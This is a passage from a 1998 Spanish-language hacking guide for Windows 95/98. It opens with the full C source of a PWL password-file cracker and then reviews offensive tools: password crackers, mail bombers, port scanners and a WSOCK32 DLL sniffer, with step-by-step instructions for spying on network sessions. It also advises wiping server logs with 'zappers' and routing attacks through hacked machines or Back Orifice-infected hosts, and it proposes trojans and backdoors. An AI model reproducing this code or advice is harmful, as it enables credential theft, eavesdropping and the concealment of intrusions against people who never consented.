<stdlib.h>
#include
<ctype.h>
#include
<conio.h>
unsigned char huge
Data[100001];
unsigned char keystream[1001];
int Rpoint[300];
void main (int
argc,char *argv[]) {
FILE *fd;
int i,j,k;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; /* recource allocation
table */
if (argc<2) {
printf("usage: glide filename
(username)");
exit(1);
}
/* read PWL file */
fd=fopen(argv[1],"rb");
if(fd==NULL) {
printf("can't open file
%s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd)) {
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);
/* find username */
name=argv[1];
if(argc>2) name=argv[2];
printf("Username: %s\n",name);
/* copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked<0) cracked=0;
if(cracked>1000) cracked=1000;
memcpy(keystream,Data+0x208,cracked );
/* generate 20 bytes of keystream */
for(i=0;i<20;i++) {
ch=toupper(name[i]);
if(ch==0) break;
if(ch=='.') break;
keystream[i]^=ch;
};
cracked=20;
/* find allocated recources */
sizemask=keystream[0]+(keystream[1]<<8);
printf("Sizemask:
%04X\n",sizemask);
for(i=0;i<256;i++) Rall[i]=0;
maxr=0;
for(i=0x108;i<0x208;i++) {
if(Data[i]!=0xff) {
Rall[Data[i]]++;
if (Data[i]>maxr)
maxr=Data[i];
}
}
maxr=(((maxr/16)+1)*16); /* recource pointer table size appears
to be
divisable by 16 */
/* search after recources */
Rpoint[0]=0x0208+2*maxr+20+2; /* first recource */
for(i=0;i<maxr;i++) {
/* find size of current recource */
pos=Rpoint[i];
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analyzing block with
size: %04x\t(%d:%d)\n",rsz,i
,Rall[i]);
if( (Rall[i]==0) && (rsz!=0)
) {
printf("unused resource
has nonzero size !!!\n");
printf("If last line
produced any : You
may try to
recover\n");
printf("press y to
attempt recovery\n");
ch=getch();
if(ch!='y') exit(0);
rsz=2;
i-=1;
}
pos+=rsz;
/* Resources have a tendency to have
the wrong size for
some reason */
/* check for correct size */
if(i<maxr-1) {
while(Data[pos+3]!=keystream[1])
{
printf(":",Data[pos+3]);
pos+=2; /* very rude may
fail */
}
}
pos+=2; /* include pointer in size */
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* insert Table data into keystream */
for(i=0;i <= maxr;i++) {
keystream[20+2*i]^=Rpoint[i] &
0x00ff;
keystream[21+2*i]^=(Rpoint[i]
>> 8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d bytes of keystream
recovered\n",cracked);
/* decrypt resources */
for(i=0;i < maxr;i++) {
rsz=Rpoint[i+1]-Rpoint[i];
if (rsz>cracked)
rsz=cracked;
printf("Recource[%d]
(%d)\n",i,rsz);
for(j=0;j<rsz;j++)
printf("%c",Data[Rpoint[i]+j]^keystream[j]);
printf("\n");
}
exit(0);
}
------------ FIN
-------------------------------------------------------------
Cuando lo ejecutemos nos saldra lo
siguiente:
c:\>glide
usage: glide filename (username)
Pidiendo el fichero y el login.
5-9. Win95 anonymail v 1.0.
Este sencillo programa nos sera de gran
ayuda para enviar mail anonimo.
Cuando ejecutemos el programa nos saldra una
ventana con los siguientes
campos:
Host
From
To
Subject
Solo tenemos que rellenarlos correctamente y
pulsar el "send" para enviar
el mail anonimo y cuando hayamos acabado
pulsar "quit".
Un programa muy sencillo que nos puede ser
util. Como nota, el autor nos
advierte que nadie le envie mail anonimo con
su programa, por lo que se
puede deducir que es un farol o que el
programa no es tan anonimo, por
lo que el autor le habra metido un troyano.
5-10. Hacker's Utility, V 1.02.
Este magnifico programa es una suite para
Hackers. Para que nos entendamos,
este programa esta compuesto por muchos
otros programas y asi dispones
de un paquete perfecto para un Hacker.
Cuando ejecutamos este programa nos
aparecera una ventana con un menu
arriba, y cuando abramos una de estas
opciones se abrira otra ventana
con mas opciones. Ahora podemos ver el menu
principal compuesto por
los submenus:
File -> HU setup, exit
Cracking -> crack passwords -> crack
zip passwords
crack passwd
files
passwd
jackpot
words prcessing -> words
wizard
xtrakt words
sort
Tools -> create & fill a dummy fill,
compare binary files
Network -> finger, port scanner, ip
<> name converter
Other Stuff -> hackers's test, serial
numbers, extracting/ripping sound
files, extracting/ripping
graphic files, manual extract/
rip files
System -> dos prompt, run custom
application, shut down
Window -> cascade, tile horizontal, tile
vertical, arrange icons,
main toolbar, main status bar
Help -> tip of day, index, using help,
about Hacker's Utility
La verdad es que esta suite esta muy
completa y nos sera de gran ayuda. Por
ejemplo el sistema se puede configurar en
File->HU setup para que sea mas
personal. Cabe destacar ciertas utilidades
como los crackeadores que tiene
incorporados para crackear el passwd de un
Unix o romper el password de
un fichero zip. Luego en la seccion de
Network, las utilidades nos seran
de mucha ayuda, como el Finger, el scaneador
de puertos y el convertidor
de direcciones IP. Esto en mi opion seria lo
mejor del programa pero
luego trae otras cosas que tambien nos
pueden servir para al menos
divertinos un rato, esto es el caso del
Hacker's Test, por ejemplo podemos
activar el Port Scanner y mientras esperamos
a los resultados podemos
hacer un test para saber si somos buenos
Hackers.
La verdad es que es una magnifica
herramienta que los Hackers de win deben
tener.
5-11. Haktek v1.1.
AL igual que el HU, Haktek, es una suite que
tambien nos sera de gran
ayuda. Pero esta suite esta mas enfocada a
atacar por Internet, logicamente
con el peligro que ello conlleva.
Al ejecutar el programa, se abrira una
ventana en la que veremos una serie
de iconos en la parte izquierda de la
ventana y una pantalla de texto que
nos explica cada icono. Empezando de arriba
para abajo:
Diskette-> graba la sesion (lo que esta
en pantalla y lo que hallamos hecho
con el programa).
X -> prepara la sesion, borrando la
pantalla de texto.
? -> nos habla sobre sus autores.
Circulo -> se€alos un objetivo, por
defecto www.microsoft.com.
Antena -> Utilidad ping.
Gafas -> scaneador de puertos.
Bomba -> bombardeador de correo.
Stop bomb -> para protegernos de un
mailbomber.
Radio -> scaneador de IP'S.
Prismaticos -> para enviar finger nulos.
La verdad es que es una suite muy completa y
nos ayudara a joder a todo
el que se ponga por delante. Con un poco de
practica dominaremos este
programa a la perfeccion.
5-12. Claymore Brute Force.
Esta utlidad no sera de gran ayuda para
desemcriptar passowrd's de un
fichero passwd de Unix. Cuando lo ejecutemos
se abrira una ventana con
varias opciones, de facil manejo, para
aquellos que quieren algo simple y
corriendo sobre win95. Este crackeador es de
fuerza bruta pudiendo ser
algo lento.
5-13. Skream's Port Listener V 2.3.
En muchas ocasiones nos gustaria saber que
pasa en nuestros puertos, esta
simple pero estupenda herramienta nos sera
muy util, ya que la podemos
ejecutar y configurarla para que escuche en
el puerto que queramos, asi
podemos saber quien o que esta conectado a
nuestros puertos. Por defecto
el programa escucha en el puerto 139 (os suena?)
El programa nos permite escuchar en el
puerto que querramos, ademas podemos
logear todo el proceso en un fichero.
5-14. WSOCK32 Winsock Spy Facility Version
.91
Podemos usar esta DLL para espiar un sistema
informatico, ya que es un
sniffer :), solo funciona en Win95/98. No es
dificil de utilizar, los pasos
a seguir son:
#1- Copiar el WSOCK32.DLL y ubicarlo en el
directorio del programa que
querramos espiar.
#2- Configurar las siguientes variables:
> SET WSOCK_LOG=LOG
> SET WSOCK_FLAGS=s
#3- Normalmente Windows instala el estandar
WSOCK32.DLL en la siguiente ruta
C:\WINDOWS\SYSTEM\WSOCK32.DLL por eso
debemos configurar el path de
nuestra DLL, en el lugar donde este de
la siguiente manera:
> SET WSOCK_PATH=<el path de nuestro
WSOCK32.DLL>
#4- Ejecutar el programa WinSock.
#5- Recibiras un mensaje que esta logeando.
#6- Ya puedes salir del programa.
#7- Busca un fichero llamado LOG.XXX donde
las XXX son tres digitos en
hexadecimal.
#8- El fichero Log contendra toda la sesion
del Winsock :)
El programa dispone de mas opciones de
configuracion, que podemos ver como
usar leyendo la estupenda documentacion de
trae. Ahora ya no tenemos excusa
alguna de que no podemos pillar
"informacion sensible."
5-15. PWlTool V 4.0.
Podemos usar esta herramienta para
desencriptar los famosos pwl's. La verdad
es que es una herramienta muy interesante y
potente. Al ejecutar el programa
nos aparecera una ventana con multitud de
opciones, incluso el nombre del
usuario que estemos usando en el momento.
El programa nos permite buscar passwords (o
sea ficheros pwl's), ademas
tambien comprueba a los usuarios. El
programa lo podemos dejar en modo
zombie, eso significa que trabaja en background y no nos daremos
cuenta que
esta desencriptando los passwords, ademas es
el modo que se recomienda
utilizar.
Es una herramienta de considero bastante
completa y vital para todo aquel
hacker de Windows.
5-16. PwlView V 1.01.
Volvemos con otro programa para averiguar
los ficheros pwl's :) Ejecutamos
el siguiente fichero :
c:\>pwlview
There is no security in this crazy world!
Win95 PWL viewer v1.01 (c) 1997, 98 Vitas
Ramanchauskas
http://webdon.com, e-mail:vitas@webdon.com
vitas@rocketmail.com, ICQ:3024702
************
!DISCLAIMER!
!This program intended to be used for legal
purpose only!
************
This program shows cached passwords using
standard (but undocumented)
Windows API on local machine for current
user (user must be logged in).
There is much more powerful version of this
program named pwltool
is available at http://webdon.com/vitas .
But it has larger size...
You may invoke pwlview in this way: pwlview
>> textfile.txt
to save passwords in file (don't forget to
press enter twice)
Press Enter to begin...
Y este es el mensaje que nos saca, el
programa esta esperando a que pulsemos
el "boton cualquiera" para buscar
los pwl's, ahora aprieto el boton y me
sale lo siguiente:
No passwords found.
Probably password caching was not used or
user is not logged in.
Press Enter to quit
En mi caso sale negativo, debido a que no
tengo ningun fichero pwl's :) Otro
programa que nos conviene tener en nuestras
coleccion de herramientas.
6. Medidas De Seguridad.
En esta seccion hablare sobre varios
aspectos muy importanes, logicamente
la seguridad personal, de nuestro ordenador,
etc... Para que nadie pueda
jodernos aunque nos movamos por Win95/98.
6-1. Protegiendo Nuestro Ordenador.
Nuestro ordenador corriendo con Win95/98,
sera propenso a muchos tipos de
ataques diferentes. Por ello conviene estar
preparado y sobre estar
alerta sobre las nuevas cosas que surgen por
el mundo Underground, el mejor
medio son los e-zines y por supuesto buenos
amigos por el IRC.
6-1-1. Ataques Tipicos a Nuestro Windows.
Logicamente seremos muy propensos a ataques
tipo DoS (denial of service),
como son el LAND, BONK, TEARDROP y por
supuesto los famosos nukes, OOB,
etc ...
Para estar protegidos lo que tenemos que
hacer es pasarnos por los
web's de seguridad o el de la casa Microsoft
en los cuales se cuelgan
los parches de estos ataques. No siempre funcioran
pero nos ahorraran
muchos disgustos en muchos casos. La gente
suele ser muy propensa a estas
cosas porque no esta informada sobre estos
ataques y por consiguiente
no se instala los parches correspondientes.
6-1-2. Encriptacion de Nuestra
Informacion.
La informacion sensible que tengamos en
nuestro disco duro conviene que
este encriptada con algun buen programa de
encriptacion del tipo PGP, el
cual no puede ser roto en estos tiempos.
Tambien podemos hacer uso de la
Stereografia, el arte de ocultar la
informacion. Hay varios programas en
Internet que nos permiten esconder
ficheros de txt en ficheros graficos o de
sonido, por supuesto habra
que tener cuidado cuando hacemos estas operaciones,
debido a la diferencia
de formatos entre los ficheros.
Incluso podemos encriptar todo o parte del
disco duro para mayor seguridad
en nuestros datos.
Lo recomendado es usar el PGP 5.0 o incluso
la version 6, las cuales nos
seran de gran utilidad para encriptar
nuestros ficheros ademas como son
para Windows todo sera por las tipicas
ventanas, mas facil imposible.
6-1-3. Eliminar Informacion De Forma
Segura.
Cuando borramos un fichero del disco duro,
realmente no esta borrado, por
lo que puede ser rescatado mediante
herramientas especiales. Esto no
es conveniente si por el caso nuestro
ordenador cae en malos manos y nos
ha dado tiempo a borrar algunos ficheros, no
serviria de nada ya que
podrian recuperar la informacion.
Para borrar ficheros que contegan
informacion muy privada o no queremos
que nadie la pueda obtener, conviene borrar
este fichero mediante algun
programa especial para el borrado de
ficheros. Existen por Internet
programas muy buenos para ello o tambien
podemos leernos un fichero
sobre este tema, de recomendable lectura:
Secure Deletion of Data from Magnetic
and Solid-State Memory
Peter Gutmann
Department of Computer
Science
University of
Auckland
pgut001@cs.auckland.ac.nz
El PGP version 5 y tambien la 6, disponen de
una opcion para borrar un
fichero de nuestro disco duro de forma
segura o sea que no teneis excusa
para no usarla!!!
6-1-4. Eliminacion De Virus.
Los virus son una de las peores pesadillas,
pero en realidad no entiendo
porque, ya que son solo programas. Y no son
dificiles de controlar. Solo
conviene tener un buen antivirus o varios,
si, tambien los hay por internet
a patadas y gratis.
Incluso muchos virus se pueden anular
mediante un par de comandos del
MS-DOS, es simplemente conocer un poco los
virus, logicamente se sale de
la tematica de esta guia. Pero la realidad
es que no hay que tener miedo
de los virus. Si nuestro ordenador esta
infectado, lo primero que tenemos
que hacer es calmarnos, luego hacer una
copia de seguridad de nuestro
disco duro (da igual si esta infectado), por
si el virus, en el peor de
los casos borra el disco duro y ahora buscar
una vacuna disponible.
Si fuese el caso que nuestro antivirus no
quita el virus, pues simplemente
hacemos una copia y lo enviamos a alguna
empresa de seguridad informatica
ya que seguro que nos sacan un antivirus.
Los virus para Windows cada dia estan
aumentando, por lo que conviene estar
atento de que AntiVirus los pueden eliminar.
No me estoy refiriendo a virus
Macros sino a autenticos virus, incluso
algunos capazes de borrar
informacion de nuestro disco duro.
Estos virus disponen de tecnicas stealh,
polimorficos, etc. o sea que
tened cuidado y estar alerta y tener unas
buenas copias de seguridad, por
si acaso.
6-2. Protegiendo Nuestras Acciones.
Esta seccion esta enfocada a esconder
nuestros actos hacking por Internet.
Ya que todo lo que hagamos dejaremos huellas
y por desgracia la gente no
se entera de esto y deja muchas pistas.
6-2-1. Borrando Nuestras Huellas.
Cuando conectamos a un servidor, este graba
lo que hacemos (cuando hemos
conectado, como, desde donde y varias cosas
mas), por eso hay que tener
mucho cuidado.
La mayoria de servidores que hackeemos por
Internet seran unix, conviene
tener a mano "zappers", son
programas que borran nuestras huellas en el
servidor. Existen muchos programas para este
proposito que funcionan bajo
Unix. Solo los tenemos que compilar en el
servidor y ejecutarlos. Por
desgracia al usar Win95/98 no podemos
compilarlos en nuestro ordenador y
subirlo por FTP pero algo es algo.
Tambien tenemos que procurar esconder
nuestra IP, hay muchos metodos
para ello, la mas facil es usar nodos
(servidores intermedios y asi
dificultar nuestro rastreo). Un esquema
simple seria el siguiente:
Hacker ------- Servidor ------ Servidor
------- Victima.
| |
| |
Nosotros Primer servidor
Segundo servidor Servidor
victima
para despistar para despistar
Hoy en dia, podemos usar muy diferentes
opciones para escondernos como por
ejemplo, servidor que hayamos hackeado,
sistemas con wingates o similares e
incluso ordenadores que tenga el BO (Back
Oriffice) instalado.
6-2-2. Encriptando Nuestro Correo.
Conviene encriptar nuestro correo, sobre
todo si esta relacionado con el
hacking, ya que asi nadie podra saber que
pone y acusarnos de nada. Siempre
podemos alegar "Privacidad en los
Datos" :). Al igual que antes hay varios
paquetes de PGP para mail.
Incluso es recomendable el uso de cuentas
anomimas de correo, aunque de
esto la gente esta mas concenciada.
Volvemos a hacer uso de nuestro querido
programa PGP version 5 o 6, a gusto
del consumidor.
7. Sugerencias Para Un Mejor Hacking.
Aqui hablare sobre algunas ideas que pueden
potenciar el hacking en
Win95/98 y la creacion de nuevas
herramientas.
- Programas troyanos que capturen el
password del acceso a Internet.
- Programas para IP-Spoof.
- Creacion de herramientas de redes para
Win95/98.
- Wardialers.
- Programas para atacar otros Win95/98
(DoS).
- Nuevas Suites.
- Programas crackeadores del passwd.
- Programas criptograficos.
- Programas eliminadores de ficheros de
forma segura.
- Puertas traseras.
- Programas de administracion remota.
- Programas DoS para saltarse protecciones.
- Programas que realmente proporcionen
seguridad a nuestro sistema.
8. Obtener Informacion.
Todo el mundo esta harto de ver cientos de
web's donde no hay nada o
todo esta repetido. Pues ahora os pondre
unas pautas que seguir para
obtener la mayor fuente posible de
informacion.
- Web's sobre hack (que decir).
- Web's sobre seguridad Informatica (aqui
siempre podemos encontrar
muchas cosas, que nos podran servir).
- Los RFC (Informacion tecnica sobre
Internet, protocolos, seguridad,
etc...).
- Libros de colores (Documentacion tecnica
sobre seguridad en muchos
aspectos).
- News (estar en un grupo de news y asi
recibir noticias de lo que pasa).
- Mailing lists (aqui estaremos
permanentemente informados).
- IRC (podremos hablar con otros hackers y
cambiar opiniones).
9.
Despedida.
Pues aqui se acaba esta guia sobre hacking
en Win95/98. Espero que os halla
gustado y os sea util, por todo el esfuerzo
que ha llevado esta guia.
Por desgracia me he dejado muchas cosas en
el tintero, que me hubiese
gustado explicar pero quien sabe a lo mejor
aperece una nueva entrega
nunca se sabe :)
Me gustaria descatar que a lo mejor con los
ultimos puntos de la guia, te
has quedado sorprendido respecto a su titulo
y despues al ver su contenido,
esto se debe a que he preferido dar pautas a
seguir y no empezar a explicar
cosas que ya muchos sabran o que es
informacion realmente facil de
encontrar por Internet, ademas si empiezo a
explicar algunos de esos
titulos me saldria del proposito de esta
guia, que es el hacking en Win95/98
y NO de otros sistemas operativos los cuales
disponen de miles de guias
sobre hacking.
Bueno ya solo me queda despedirme y tened
cuidado con lo que haces por
Internet, ya que un hacker no se dedica a
destruir sistemas informaticos.
Y agradecer a todos los que hallan escrito
sus conocimientos sobre hack
en win95/98 para la creacion de esta guia
pero por supuesto que todavia
quedan muchas cosas mas, esto es simplemente
una solida base para
comezar en tu "alter ego" como
hacker!!!.
9-1. Agradecimientos.
Y desde aqui saludar a todos aquellos que de
alguna forma han
participado en la creacion de esta guia, que
son muchas asi como a todas
las personas que me conocen :) Que no las
listo aqui debido a que son
muchisimas!!!!!
Nobody
(c) 1998.